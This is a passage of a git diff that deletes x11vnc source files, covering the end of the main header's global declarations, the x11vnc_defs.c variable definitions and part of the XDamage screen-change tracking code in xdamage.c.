-#include <netdb.h>
-#ifndef _AIX
-extern int h_errno;
-#endif
-
-#if LIBVNCSERVER_HAVE_NETINET_IN_H
-#include <netinet/in.h>
-#include <netinet/tcp.h>
-#include <arpa/inet.h>
-#endif
-
-#ifndef SOL_IPV6
-#ifdef IPPROTO_IPV6
-#define SOL_IPV6 IPPROTO_IPV6
-#endif
-#endif
-
-#ifndef IPV6_V6ONLY
-#ifdef IPV6_BINDV6ONLY
-#define IPV6_V6ONLY IPV6_BINDV6ONLY
-#endif
-#endif
-
-#ifndef X11VNC_IPV6
-#if defined(AF_INET6)
-#define X11VNC_IPV6 1
-#else
-#define X11VNC_IPV6 0
-#endif
-#endif
-
-#ifndef X11VNC_LISTEN6
-#define X11VNC_LISTEN6 1
-#endif
-
-#if !X11VNC_IPV6
-#undef X11VNC_LISTEN6
-#define X11VNC_LISTEN6 0
-#endif
-
-#if LIBVNCSERVER_HAVE_PWD_H
-#include <pwd.h>
-#include <grp.h>
-#endif
-#if LIBVNCSERVER_HAVE_SYS_WAIT_H
-#include <sys/wait.h>
-#endif
-#if LIBVNCSERVER_HAVE_UTMPX_H
-#include <utmpx.h>
-#endif
-
-#if LIBVNCSERVER_HAVE_MMAP
-#include <sys/mman.h>
-#endif
-
-/*
- * overlay/multi-depth screen reading support
- * undef SOLARIS_OVERLAY or IRIX_OVERLAY if there are problems building.
- */
-
-/* solaris/sun */
-#if defined (__SVR4) && defined (__sun)
-# define SOLARIS
-# ifdef LIBVNCSERVER_HAVE_SOLARIS_XREADSCREEN
-# define SOLARIS_OVERLAY
-# define OVERLAY_OS
-# endif
-#endif
-
-#ifdef SOLARIS_OVERLAY
-#include <X11/extensions/transovl.h>
-#endif
-
-/* irix/sgi */
-#if defined(__sgi)
-# define IRIX
-# ifdef LIBVNCSERVER_HAVE_IRIX_XREADDISPLAY
-# define IRIX_OVERLAY
-# define OVERLAY_OS
-# endif
-#endif
-
-/*
- * For reference, the OS header defines:
- __SVR4 && __sun is solaris
- __sgi
- __hpux
- __osf__
- __OpenBSD__
- __FreeBSD__
- __NetBSD__
- __linux__
- (defined(__MACH__) && defined(__APPLE__))
- _AIX
- */
-#if (defined(__MACH__) && defined(__APPLE__))
-#define MACOSX
-#endif
-
-
-#ifdef IRIX_OVERLAY
-#include <X11/extensions/readdisplay.h>
-#endif
-
-extern int overlay_present;
-
-#if LIBVNCSERVER_HAVE_LIBXRANDR
-#include <X11/extensions/Xrandr.h>
-#endif
-extern int xrandr_base_event_type;
-
-#if LIBVNCSERVER_HAVE_LIBXFIXES
-#include <X11/extensions/Xfixes.h>
-#endif
-extern int xfixes_base_event_type;
-
-#if LIBVNCSERVER_HAVE_LIBXDAMAGE
-#include <X11/extensions/Xdamage.h>
-#endif
-extern int xdamage_base_event_type;
-
-#define RAWFB_RET(y) if (raw_fb && ! dpy) return y;
-#define RAWFB_RET_VOID if (raw_fb && ! dpy) return;
-
-extern char lastmod[];
-
-/* X display info */
-
-extern Display *dpy; /* the single display screen we connect to */
-extern int scr;
-extern char *xauth_raw_data;
-extern int xauth_raw_len;
-extern Window window, rootwin; /* polled window, root window (usu. same) */
-extern Visual *default_visual; /* the default visual (unless -visual) */
-extern int bpp, depth;
-extern int indexed_color;
-extern int dpy_x, dpy_y; /* size of display */
-extern int fb_x, fb_y, fb_b; /* fb size and bpp guesses at display */
-extern int off_x, off_y; /* offsets for -sid */
-extern int wdpy_x, wdpy_y; /* for actual sizes in case of -clip */
-extern int cdpy_x, cdpy_y, coff_x, coff_y; /* the -clip params */
-extern int button_mask; /* button state and info */
-extern int button_mask_prev;
-extern int num_buttons;
-
-extern long xselectinput_rootwin;
-
-extern unsigned int display_button_mask;
-extern unsigned int display_mod_mask;
-
-/* image structures */
-extern XImage *scanline;
-extern XImage *fullscreen;
-extern XImage **tile_row; /* for all possible row runs */
-extern XImage *snaprect; /* for XShmGetImage (fs_factor) */
-extern XImage *snap; /* the full snap fb */
-extern XImage *raw_fb_image; /* the raw fb */
-
-#if !LIBVNCSERVER_HAVE_XSHM
-/*
- * for simplicity, define this struct since we'll never use them
- * under using_shm = 0.
- */
-typedef struct {
- int shmid; char *shmaddr; Bool readOnly;
-} XShmSegmentInfo;
-#endif
-
-/* corresponding shm structures */
-extern XShmSegmentInfo scanline_shm;
-extern XShmSegmentInfo fullscreen_shm;
-extern XShmSegmentInfo *tile_row_shm; /* for all possible row runs */
-extern XShmSegmentInfo snaprect_shm;
-
-/* rfb screen info */
-extern rfbScreenInfoPtr screen;
-extern char *rfb_desktop_name;
-extern char *http_dir;
-extern char vnc_desktop_name[];
-extern char *main_fb; /* our copy of the X11 fb */
-extern char *rfb_fb; /* same as main_fb unless transformation */
-extern char *fake_fb; /* used under -padgeom */
-extern char *snap_fb; /* used under -snapfb */
-extern char *cmap8to24_fb; /* used under -8to24 */
-extern char *rot_fb; /* used under -rotate */
-extern char *raw_fb;
-extern char *raw_fb_addr;
-extern int raw_fb_offset;
-extern int raw_fb_shm;
-extern int raw_fb_mmap;
-extern int raw_fb_seek;
-extern int raw_fb_fd;
-extern int raw_fb_back_to_X;
-
-extern int raw_fb_native_bpp;
-extern int raw_fb_expand_bytes;
-extern unsigned long raw_fb_native_red_mask, raw_fb_native_green_mask, raw_fb_native_blue_mask;
-extern unsigned short raw_fb_native_red_max, raw_fb_native_green_max, raw_fb_native_blue_max;
-extern unsigned short raw_fb_native_red_shift, raw_fb_native_green_shift, raw_fb_native_blue_shift;
-
-extern int rfb_bytes_per_line;
-extern int main_bytes_per_line;
-extern int rot_bytes_per_line;
-extern unsigned long main_red_mask, main_green_mask, main_blue_mask;
-extern unsigned short main_red_max, main_green_max, main_blue_max;
-extern unsigned short main_red_shift, main_green_shift, main_blue_shift;
-
-extern int raw_fb_bytes_per_line; /* of actual raw region we poll, not our raw_fb */
-
-/* scaling parameters */
-extern char *scale_str;
-extern double scale_fac_x;
-extern double scale_fac_y;
-extern int scaling;
-extern int scaling_blend; /* for no blending option (very course) */
-extern int scaling_nomult4; /* do not require width = n * 4 */
-extern int scaling_pad; /* pad out scaled sizes to fit denominator */
-extern int scaling_interpolate; /* use interpolation scheme when shrinking */
-extern int scaled_x, scaled_y; /* dimensions of scaled display */
-extern int scale_numer, scale_denom; /* n/m */
-extern char *rotating_str;
-extern int rotating;
-extern int rotating_same;
-extern int rotating_cursors;
-
-/* scale cursor */
-extern char *scale_cursor_str;
-extern double scale_cursor_fac_x;
-extern double scale_cursor_fac_y;
-extern int scaling_cursor;
-extern int scaling_cursor_blend;
-extern int scaling_cursor_interpolate;
-extern int scale_cursor_numer, scale_cursor_denom;
-
-/* size of the basic tile unit that is polled for changes: */
-extern int tile_x;
-extern int tile_y;
-extern int ntiles, ntiles_x, ntiles_y;
-
-/* arrays that indicate changed or checked tiles. */
-extern unsigned char *tile_has_diff, *tile_tried, *tile_copied;
-extern unsigned char *tile_has_xdamage_diff, *tile_row_has_xdamage_diff;
-
-/* times of recent events */
-extern time_t last_event, last_input, last_client, last_open_xdisplay;
-extern time_t last_keyboard_input, last_pointer_input;
-extern time_t last_local_input; /* macosx */
-extern time_t last_fb_bytes_sent;
-extern double last_keyboard_time;
-extern double last_pointer_time;
-extern double last_pointer_click_time;
-extern double last_pointer_motion_time;
-extern double last_key_to_button_remap_time;
-extern double last_copyrect;
-extern double last_copyrect_fix;
-extern double last_wireframe;
-extern double servertime_diff;
-extern double x11vnc_start;
-extern double x11vnc_current;
-extern double g_now;
-
-extern double last_get_wm_frame_time;
-extern Window last_get_wm_frame;
-extern double last_bs_restore;
-extern double last_su_restore;
-extern double last_bs_save;
-extern double last_su_save;
-
-extern int hack_val;
-
-/* last client to move pointer */
-extern rfbClientPtr last_pointer_client;
-extern rfbClientPtr latest_client;
-extern double last_client_gone;
-extern double last_new_client;
-
-extern int waited_for_client;
-extern int findcreatedisplay;
-extern char *terminal_services_daemon;
-
-extern int client_count;
-extern int clients_served;
-extern int client_normal_count;
-
-/* more transient kludge variables: */
-extern int cursor_x, cursor_y; /* x and y from the viewer(s) */
-extern int button_change_x, button_change_y;
-extern int got_user_input;
-extern int got_pointer_input;
-extern int got_local_pointer_input;
-extern int got_pointer_calls;
-extern int got_keyboard_input;
-extern int got_keyboard_calls;
-extern int urgent_update;
-extern int last_keyboard_keycode;
-extern rfbBool last_rfb_down;
-extern rfbBool last_rfb_key_accepted;
-extern rfbKeySym last_rfb_keysym;
-extern double last_rfb_keytime;
-extern double last_rfb_key_injected;
-extern double last_rfb_ptr_injected;
-extern int fb_copy_in_progress;
-extern int drag_in_progress;
-extern int shut_down;
-extern int do_copy_screen;
-extern time_t damage_time;
-extern int damage_delay;
-
-extern int program_pid;
-extern char *program_name;
-extern char *program_cmdline;
-
-extern struct utsname UT;
-
-typedef struct hint {
- /* location x, y, height, and width of a change-rectangle */
- /* (grows as adjacent horizontal tiles are glued together) */
- int x, y, w, h;
-} hint_t;
-
-/* struct with client specific data: */
-#define CILEN 10
-typedef struct _ClientData {
- int uid;
- char *hostname;
- char *username;
- char *unixname;
- int client_port;
- int server_port;
- char *server_ip;
- char input[CILEN];
- int login_viewonly;
- time_t login_time;
-
- pid_t ssl_helper_pid;
-
- int had_cursor_shape_updates;
- int had_cursor_pos_updates;
-
- double timer;
- double send_cmp_rate;
- double send_raw_rate;
- double latency;
- int cmp_bytes_sent;
- int raw_bytes_sent;
-
-} ClientData;
-
-extern void nox11_exit(int rc);
-
-#include "params.h"
-#include "enums.h"
-#include "options.h"
-#include "util.h"
-
-#endif /* _X11VNC_X11VNC_H */
diff --git a/x11vnc/x11vnc_defs.c b/x11vnc/x11vnc_defs.c
deleted file mode 100644
index 8234aff..0000000
--- a/x11vnc/x11vnc_defs.c
+++ /dev/null
@@ -1,230 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-/* -- x11vnc_defs.c -- */
-
-#include "x11vnc.h"
-
-int overlay_present = 0;
-
-int xrandr_base_event_type = 0;
-
-int xfixes_base_event_type = 0;
-int xtest_base_event_type = 0;
-#if LIBVNCSERVER_HAVE_LIBXTRAP
-XETC *trap_ctx = NULL;
-#endif
-int xtrap_base_event_type = 0;
-int xdamage_base_event_type = 0;
-
-/* date +'lastmod: %Y-%m-%d' */
-char lastmod[] = "0.9.13 lastmod: 2010-12-27";
-
-/* X display info */
-
-Display *dpy = NULL; /* the single display screen we connect to */
-int scr = 0;
-char *xauth_raw_data = NULL;
-int xauth_raw_len = 0;
-Window window = None, rootwin = None; /* polled window, root window (usu. same) */
-Visual *default_visual = NULL; /* the default visual (unless -visual) */
-int bpp = 0, depth = 0;
-int indexed_color = 0;
-int dpy_x = 0, dpy_y = 0; /* size of display */
-int fb_x = 0, fb_y = 0, fb_b = 0; /* fb size and bpp guesses at display */
-int off_x, off_y; /* offsets for -sid */
-int wdpy_x, wdpy_y; /* for actual sizes in case of -clip */
-int cdpy_x, cdpy_y, coff_x, coff_y; /* the -clip params */
-int button_mask = 0; /* button state and info */
-int button_mask_prev = 0;
-int num_buttons = -1;
-
-long xselectinput_rootwin = 0;
-
-unsigned int display_button_mask = 0;
-unsigned int display_mod_mask = 0;
-
-/* image structures */
-XImage *scanline = NULL;
-XImage *fullscreen = NULL;
-XImage **tile_row = NULL; /* for all possible row runs */
-XImage *snaprect = NULL; /* for XShmGetImage (fs_factor) */
-XImage *snap = NULL; /* the full snap fb */
-XImage *raw_fb_image = NULL; /* the raw fb */
-
-/* corresponding shm structures */
-XShmSegmentInfo scanline_shm;
-XShmSegmentInfo fullscreen_shm;
-XShmSegmentInfo *tile_row_shm; /* for all possible row runs */
-XShmSegmentInfo snaprect_shm;
-
-/* rfb screen info */
-rfbScreenInfoPtr screen = NULL;
-char *rfb_desktop_name = NULL;
-char *http_dir = NULL;
-char vnc_desktop_name[256];
-char *main_fb = NULL; /* our copy of the X11 fb */
-char *rfb_fb = NULL; /* same as main_fb unless transformation */
-char *fake_fb = NULL; /* used under -padgeom */
-char *snap_fb = NULL; /* used under -snapfb */
-char *cmap8to24_fb = NULL; /* used under -8to24 */
-char *rot_fb = NULL;
-char *raw_fb = NULL; /* when used should be main_fb */
-char *raw_fb_addr = NULL;
-int raw_fb_offset = 0;
-int raw_fb_shm = 0;
-int raw_fb_mmap = 0;
-int raw_fb_seek = 0;
-int raw_fb_fd = -1;
-int raw_fb_back_to_X = 0; /* kludge for testing rawfb -> X */
-
-int raw_fb_native_bpp = 0;
-int raw_fb_expand_bytes = 1;
-unsigned long raw_fb_native_red_mask = 0, raw_fb_native_green_mask = 0, raw_fb_native_blue_mask = 0;
-unsigned short raw_fb_native_red_max = 0, raw_fb_native_green_max = 0, raw_fb_native_blue_max = 0;
-unsigned short raw_fb_native_red_shift = 0, raw_fb_native_green_shift = 0, raw_fb_native_blue_shift = 0;
-
-int rfb_bytes_per_line = 0;
-int main_bytes_per_line = 0;
-int rot_bytes_per_line = 0;
-unsigned long main_red_mask = 0, main_green_mask = 0, main_blue_mask = 0;
-unsigned short main_red_max = 0, main_green_max = 0, main_blue_max = 0;
-unsigned short main_red_shift = 0, main_green_shift = 0, main_blue_shift = 0;
-
-int raw_fb_bytes_per_line = 0;
-
-/* scaling parameters */
-char *scale_str = NULL;
-double scale_fac_x = 1.0;
-double scale_fac_y = 1.0;
-int scaling = 0;
-int scaling_blend = 1; /* for no blending option (very course) */
-int scaling_nomult4 = 0; /* do not require width = n * 4 */
-int scaling_pad = 0; /* pad out scaled sizes to fit denominator */
-int scaling_interpolate = 0; /* use interpolation scheme when shrinking */
-int scaled_x = 0, scaled_y = 0; /* dimensions of scaled display */
-int scale_numer = 0, scale_denom = 0; /* n/m */
-char *rotating_str = NULL;
-int rotating = 0;
-int rotating_same = 0;
-int rotating_cursors = 0;
-
-/* scale cursor */
-char *scale_cursor_str = NULL;
-double scale_cursor_fac_x = 1.0;
-double scale_cursor_fac_y = 1.0;
-int scaling_cursor = 0;
-int scaling_cursor_blend = 1;
-int scaling_cursor_interpolate = 0;
-int scale_cursor_numer = 0, scale_cursor_denom = 0;
-
-/* size of the basic tile unit that is polled for changes: */
-int tile_x = 32;
-int tile_y = 32;
-int ntiles, ntiles_x = 0, ntiles_y = 0;
-
-/* arrays that indicate changed or checked tiles. */
-unsigned char *tile_has_diff = NULL, *tile_tried = NULL, *tile_copied = NULL;
-unsigned char *tile_has_xdamage_diff = NULL, *tile_row_has_xdamage_diff = NULL;
-
-/* times of recent events */
-time_t last_event = 0, last_input = 0, last_client = 0, last_open_xdisplay = 0;
-time_t last_local_input = 0;
-time_t last_keyboard_input = 0, last_pointer_input = 0;
-time_t last_fb_bytes_sent = 0;
-double last_keyboard_time = 0.0;
-double last_pointer_time = 0.0;
-double last_pointer_click_time = 0.0;
-double last_pointer_motion_time = 0.0;
-double last_key_to_button_remap_time = 0.0;
-double last_copyrect = 0.0;
-double last_copyrect_fix = 0.0;
-double last_wireframe = 0.0;
-double servertime_diff = 0.0;
-double x11vnc_start = 0.0;
-double x11vnc_current = 0.0;
-double g_now = 0.0;
-
-double last_get_wm_frame_time = 0.0;
-Window last_get_wm_frame = None;
-double last_bs_restore = 0.0;
-double last_su_restore = 0.0;
-double last_bs_save = 0.0;
-double last_su_save = 0.0;
-
-int hack_val = 0;
-
-/* last client to move pointer */
-rfbClientPtr last_pointer_client = NULL;
-rfbClientPtr latest_client = NULL;
-double last_client_gone = 0.0;
-double last_new_client = 0.0;
-
-int waited_for_client = 0;
-int findcreatedisplay = 0;
-char *terminal_services_daemon = NULL;
-
-int client_count = 0;
-int clients_served = 0;
-int client_normal_count = 0;
-
-/* more transient kludge variables: */
-int cursor_x = 0, cursor_y = 0; /* x and y from the viewer(s) */
-int button_change_x = 0, button_change_y = 0;
-int got_user_input = 0;
-int got_pointer_input = 0;
-int got_local_pointer_input = 0;
-int got_pointer_calls = 0;
-int got_keyboard_input = 0;
-int got_keyboard_calls = 0;
-int urgent_update = 0;
-int last_keyboard_keycode = 0;
-rfbBool last_rfb_down = FALSE;
-rfbBool last_rfb_key_accepted = FALSE;
-rfbKeySym last_rfb_keysym = 0;
-double last_rfb_keytime = 0.0;
-double last_rfb_key_injected = 0.0;
-double last_rfb_ptr_injected = 0.0;
-int fb_copy_in_progress = 0;
-int drag_in_progress = 0;
-int shut_down = 0;
-int do_copy_screen = 0;
-time_t damage_time = 0;
-int damage_delay = 0;
-
-int program_pid = 0;
-char *program_name = NULL;
-char *program_cmdline = NULL;
-
-struct utsname UT;
-
-
diff --git a/x11vnc/xdamage.c b/x11vnc/xdamage.c
deleted file mode 100644
index 3eb12f5..0000000
--- a/x11vnc/xdamage.c
+++ /dev/null
@@ -1,840 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-/* -- xdamage.c -- */
-
-#include "x11vnc.h"
-#include "xwrappers.h"
-#include "userinput.h"
-#include "unixpw.h"
-
-#if LIBVNCSERVER_HAVE_LIBXDAMAGE
-Damage xdamage = 0;
-#endif
-
-#ifndef XDAMAGE
-#define XDAMAGE 1
-#endif
-int use_xdamage = XDAMAGE; /* use the xdamage rects for scanline hints */
-int xdamage_present = 0;
-
-#ifdef MACOSX
-int xdamage_max_area = 50000;
-#else
-int xdamage_max_area = 20000; /* pixels */
-#endif
-
-double xdamage_memory = 1.0; /* in units of NSCAN */
-int xdamage_tile_count = 0, xdamage_direct_count = 0;
-double xdamage_scheduled_mark = 0.0;
-double xdamage_crazy_time = 0.0;
-double xdamage_crazy_delay = 300.0;
-sraRegionPtr xdamage_scheduled_mark_region = NULL;
-sraRegionPtr *xdamage_regions = NULL;
-int xdamage_ticker = 0;
-int XD_skip = 0, XD_tot = 0, XD_des = 0; /* for stats */
-
-void add_region_xdamage(sraRegionPtr new_region);
-void clear_xdamage_mark_region(sraRegionPtr markregion, int flush);
-int collect_non_X_xdamage(int x_in, int y_in, int w_in, int h_in, int call);
-int collect_xdamage(int scancnt, int call);
-int xdamage_hint_skip(int y);
-void initialize_xdamage(void);
-void create_xdamage_if_needed(int force);
-void destroy_xdamage_if_needed(void);
-void check_xdamage_state(void);
-
-static void record_desired_xdamage_rect(int x, int y, int w, int h);
-
-
-static void record_desired_xdamage_rect(int x, int y, int w, int h) {
- /*
- * Unfortunately we currently can't trust an xdamage event
- * to correspond to real screen damage. E.g. focus-in for
- * mozilla (depending on wm) will mark the whole toplevel
- * area as damaged, when only the border has changed.
- * Similar things for terminal windows.
- *
- * This routine uses some heuristics to detect small enough
- * damage regions that we will not have a performance problem
- * if we believe them even though they are wrong. We record
- * the corresponding tiles the damage regions touch.
- */
- int dt_x, dt_y, nt_x1, nt_y1, nt_x2, nt_y2, nt;
- int ix, iy, cnt = 0;
- int area = w*h, always_accept = 0;
- /*
- * XXX: not working yet, slow and overlaps with scan_display()
- * probably slow because tall skinny rectangles very inefficient
- * in general and in direct_fb_copy() (100X slower then horizontal).
- */
- int use_direct_fb_copy = 0;
- int wh_min, wh_max;
- static int first = 1, udfb = 0;
-
- /* compiler warning: */
- nt_x1 = 0; nt_y1 = 0; nt_x2 = 0; nt_y2 = 0;
-
- if (first) {
- if (getenv("XD_DFC")) {
- udfb = 1;
- }
- first = 0;
- }
- if (udfb) {
- use_direct_fb_copy = 1;
- }
-
- if (xdamage_max_area <= 0) {
- always_accept = 1;
- }
-
- if (!always_accept && area > xdamage_max_area) {
- return;
- }
-
- dt_x = w / tile_x;
- dt_y = h / tile_y;
-
- if (w < h) {
- wh_min = w;
- wh_max = h;
- } else {
- wh_min = h;
- wh_max = w;
- }
-
- if (!always_accept && dt_y >= 3 && area > 4000) {
- /*
- * if it is real it should be caught by a normal scanline
- * poll, but we might as well keep if small (tall line?).
- */
- return;
- }
-
- if (use_direct_fb_copy) {
- X_UNLOCK;
- direct_fb_copy(x, y, x + w, y + h, 1);
- xdamage_direct_count++;
- X_LOCK;
- } else if (0 && wh_min < tile_x/4 && wh_max > 30 * wh_min) {
- /* try it for long, skinny rects, XXX still no good */
- X_UNLOCK;
- direct_fb_copy(x, y, x + w, y + h, 1);
- xdamage_direct_count++;
- X_LOCK;
- } else {
-
- if (ntiles_x == 0 || ntiles_y == 0) {
- /* too early. */
- return;
- }
- nt_x1 = nfix( (x)/tile_x, ntiles_x);
- nt_x2 = nfix((x+w)/tile_x, ntiles_x);
- nt_y1 = nfix( (y)/tile_y, ntiles_y);
- nt_y2 = nfix((y+h)/tile_y, ntiles_y);
-
- /*
- * loop over the rectangle of tiles (1 tile for a small
- * input rect).
- */
- for (ix = nt_x1; ix <= nt_x2; ix++) {
- for (iy = nt_y1; iy <= nt_y2; iy++) {
- nt = ix + iy * ntiles_x;
- cnt++;
- if (! tile_has_xdamage_diff[nt]) {
- XD_des++;
- tile_has_xdamage_diff[nt] = 1;
- }
- /* not used: */
- tile_row_has_xdamage_diff[iy] = 1;
- xdamage_tile_count++;
- }
- }
- }
- if (debug_xdamage > 1) {
- fprintf(stderr, "xdamage: desired: %dx%d+%d+%d\tA: %6d tiles="
- "%02d-%02d/%02d-%02d tilecnt: %d\n", w, h, x, y,
- w * h, nt_x1, nt_x2, nt_y1, nt_y2, cnt);
- }
-}
-
-void add_region_xdamage(sraRegionPtr new_region) {
- sraRegionPtr reg;
- int prev_tick, nreg;
-
- if (! xdamage_regions) {
- return;
- }
-
- nreg = (xdamage_memory * NSCAN) + 1;
- prev_tick = xdamage_ticker - 1;
- if (prev_tick < 0) {
- prev_tick = nreg - 1;
- }
-
- reg = xdamage_regions[prev_tick];
- if (reg != NULL && new_region != NULL) {
-if (debug_xdamage > 1) fprintf(stderr, "add_region_xdamage: prev_tick: %d reg %p new_region %p\n", prev_tick, (void *)reg, (void *)new_region);
- sraRgnOr(reg, new_region);
- }
-}
-
-void clear_xdamage_mark_region(sraRegionPtr markregion, int flush) {
-#if LIBVNCSERVER_HAVE_LIBXDAMAGE
- XEvent ev;
- sraRegionPtr tmpregion;
- int count = 0;
-
- RAWFB_RET_VOID
-
- if (! xdamage_present || ! use_xdamage) {
- return;
- }
- if (! xdamage) {
- return;
- }
- if (! xdamage_base_event_type) {
- return;
- }
- if (unixpw_in_progress) return;
-
- X_LOCK;
- if (flush) {
- XFlush_wr(dpy);
- }
- while (XCheckTypedEvent(dpy, xdamage_base_event_type+XDamageNotify, &ev)) {
- count++;
- }
- /* clear the whole damage region */
- XDamageSubtract(dpy, xdamage, None, None);
- X_UNLOCK;
-
- if (debug_tiles || debug_xdamage) {
- fprintf(stderr, "clear_xdamage_mark_region: %d\n", count);
- }
-
- if (! markregion) {
- /* NULL means mark the whole display */
- tmpregion = sraRgnCreateRect(0, 0, dpy_x, dpy_y);
- add_region_xdamage(tmpregion);
- sraRgnDestroy(tmpregion);
- } else {
- add_region_xdamage(markregion);
- }
-#else
- if (0) flush++; /* compiler warnings */
- if (0) markregion = NULL;
-#endif
-}
-
-int collect_non_X_xdamage(int x_in, int y_in, int w_in, int h_in, int call) {
- sraRegionPtr tmpregion;
- sraRegionPtr reg;
- static int rect_count = 0;
- int nreg, ccount = 0, dcount = 0, ecount = 0;
- static time_t last_rpt = 0;
- time_t now;
- double tm, dt;
- int x, y, w, h, x2, y2;
-
-if (call && debug_xdamage > 1) fprintf(stderr, "collect_non_X_xdamage: %d %d %d %d - %d / %d\n", x_in, y_in, w_in, h_in, call, use_xdamage);
-
- if (! use_xdamage) {
- return 0;
- }
- if (! xdamage_regions) {
- return 0;
- }
-
- dtime0(&tm);
-
- nreg = (xdamage_memory * NSCAN) + 1;
-
- if (call == 0) {
- xdamage_ticker = (xdamage_ticker+1) % nreg;
- xdamage_direct_count = 0;
- reg = xdamage_regions[xdamage_ticker];
- if (reg != NULL) {
- sraRgnMakeEmpty(reg);
- }
- } else {
- if (xdamage_ticker < 0) {
- xdamage_ticker = 0;
- }
- reg = xdamage_regions[xdamage_ticker];
- }
- if (reg == NULL) {
- return 0;
- }
-
- if (x_in < 0) {
- return 0;
- }
-
-
- x = x_in;
- y = y_in;
- w = w_in;
- h = h_in;
-
- /* translate if needed */
- if (clipshift) {
- /* set coords relative to fb origin */
- if (0 && rootshift) {
- /*
- * Note: not needed because damage is
- * relative to subwin, not rootwin.
- */
- x = x - off_x;
- y = y - off_y;
- }
- if (clipshift) {
- x = x - coff_x;
- y = y - coff_y;
- }
-
- x2 = x + w; /* upper point */
- x = nfix(x, dpy_x); /* place both in fb area */
- x2 = nfix(x2, dpy_x+1);
- w = x2 - x; /* recompute w */
-
- y2 = y + h;
- y = nfix(y, dpy_y);
- y2 = nfix(y2, dpy_y+1);
- h = y2 - y;
-
- if (w <= 0 || h <= 0) {
- return 0;
- }
- }
- if (debug_xdamage > 2) {
- fprintf(stderr, "xdamage: -> event %dx%d+%d+%d area:"
- " %d dups: %d %s reg: %p\n", w, h, x, y, w*h, dcount,
- (w*h > xdamage_max_area) ? "TOO_BIG" : "", (void *)reg);
- }
-
- record_desired_xdamage_rect(x, y, w, h);
-
- tmpregion = sraRgnCreateRect(x, y, x + w, y + h);
- sraRgnOr(reg, tmpregion);
- sraRgnDestroy(tmpregion);
- rect_count++;
- ccount++;
-
- if (0 && xdamage_direct_count) {
- fb_push();
- }
-
- dt = dtime(&tm);
- if ((debug_tiles > 1 && ecount) || (debug_tiles && ecount > 200)
- || debug_xdamage > 1) {
- fprintf(stderr, "collect_non_X_xdamage(%d): %.4f t: %.4f ev/dup/accept"
- "/direct %d/%d/%d/%d\n", call, dt, tm - x11vnc_start, ecount,
- dcount, ccount, xdamage_direct_count);
- }
- now = time(NULL);
- if (! last_rpt) {
- last_rpt = now;
- }
- if (now > last_rpt + 15) {
- double rat = -1.0;
-
- if (XD_tot) {
- rat = ((double) XD_skip)/XD_tot;
- }
- if (debug_tiles || debug_xdamage) {
- fprintf(stderr, "xdamage: == scanline skip/tot: "
- "%04d/%04d =%.3f rects: %d desired: %d\n",
- XD_skip, XD_tot, rat, rect_count, XD_des);
- }
-
- XD_skip = 0;
- XD_tot = 0;
- XD_des = 0;
- rect_count = 0;
- last_rpt = now;
- }
- return 0;
-}
-
-int collect_xdamage(int scancnt, int call) {
-#if LIBVNCSERVER_HAVE_LIBXDAMAGE
- XDamageNotifyEvent *dev;
- XEvent ev;
- sraRegionPtr tmpregion;
- sraRegionPtr reg;
- static int rect_count = 0;
- int nreg, ccount = 0, dcount = 0, ecount = 0;
- static time_t last_rpt = 0;
- time_t now;
- int x, y, w, h, x2, y2;
- int i, dup, next = 0, dup_max = 0;
-#define DUPSZ 32
- int dup_x[DUPSZ], dup_y[DUPSZ], dup_w[DUPSZ], dup_h[DUPSZ];
- double tm, dt;
- int mark_all = 0, retries = 0, too_many = 1000, tot_ev = 0;
-
- RAWFB_RET(0)
-
- if (scancnt) {} /* unused vars warning: */
-
- if (! xdamage_present || ! use_xdamage) {
- return 0;
- }
- if (! xdamage) {
- return 0;
- }
- if (! xdamage_base_event_type) {
- return 0;
- }
- if (! xdamage_regions) {
- return 0;
- }
-
- dtime0(&tm);
-
- nreg = (xdamage_memory * NSCAN) + 1;
-
- if (call == 0) {
- xdamage_ticker = (xdamage_ticker+1) % nreg;
- xdamage_direct_count = 0;
- reg = xdamage_regions[xdamage_ticker];
- if (reg != NULL) {
- sraRgnMakeEmpty(reg);
- }
- } else {
- if (xdamage_ticker < 0) {
- xdamage_ticker = 0;
- }
- reg = xdamage_regions[xdamage_ticker];
- }
- if (reg == NULL) {
- return 0;
- }
-
-
- X_LOCK;
-if (0) XFlush_wr(dpy);
-if (0) XEventsQueued(dpy, QueuedAfterFlush);
-
- come_back_for_more:
-
- while (XCheckTypedEvent(dpy, xdamage_base_event_type+XDamageNotify, &ev)) {
- /*
- * TODO max cut off time in this loop?
- * Could check QLength and if huge just mark the whole
- * screen.
- */
- ecount++;
